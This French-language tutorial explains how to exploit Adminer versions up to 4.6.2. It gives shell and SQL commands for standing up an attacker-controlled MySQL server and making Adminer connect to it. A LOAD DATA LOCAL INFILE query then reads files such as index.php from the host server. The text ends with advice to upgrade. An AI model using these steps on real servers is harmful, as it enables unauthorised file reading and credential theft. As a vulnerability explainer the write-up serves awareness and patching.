Adminer exploit

Adminer est une plateforme développée en PHP similaire à PHPMyAdmin. Toutes les versions d'adminer jusqu'à la version v4.6.2 inclus sont vulnérables et permettront à un attaquant de potentiellement compromettre le serveur hôte.

L'interface d'authentification d'Adminer se présente de la sorte:

La vulnérabilité ici c'est qu'il va être possible de forcer adminer à se connecter à une base de données que nous contrôlons tout en effectuant des requêtes système qui seront exécutées sur le serveur hôte. Pour cela il faudra tout d'abord installer mysql:

sudo apt install mysql-server
ou
sudo apt install mariadb-server

Ensuite nous allons créer un utilisateur démo ainsi qu'une base de données démo depuis l'invite de commande mysql:

create user 'test'@'localhost' identified by 'test';
create database 'test';
grant all on test.* to test@'IP_du_serveur_hôte' identified by 'test';
flush privileges;

Ensuite nous allons devoir binder mysql à notre IP (par défaut mysql se bind en local). Pour cela j'édite le fichier /etc/mysql/mysql.conf.d/mysqld.cnf et il faudra modifier cette ligne avec l'IP adéquate:

Puis il faudra redémarre MySQL:

sudo systemctl restart mysql

Retournons maintenant sur l'interface d'authentification d'adminer et complétons là avec les informations de connexion à notre base de données:

Et nous voilà connecté:

De là nous pourrons tout à fait lire le contenu de fichiers présent sur le serveur hôte alors qu'adminer est connecté sur notre base de données:

create table file_content(data VARCHAR(255));
load data local infile '../index.php'
into table file_content
fields terminated by '\n';

Il ne restera plus qu'à faire un select sur cette table pour obtenir le contenu du fichier:

La seule façon de fixer ce bug, c'est de mettre à jour adminer à la dernière version :) !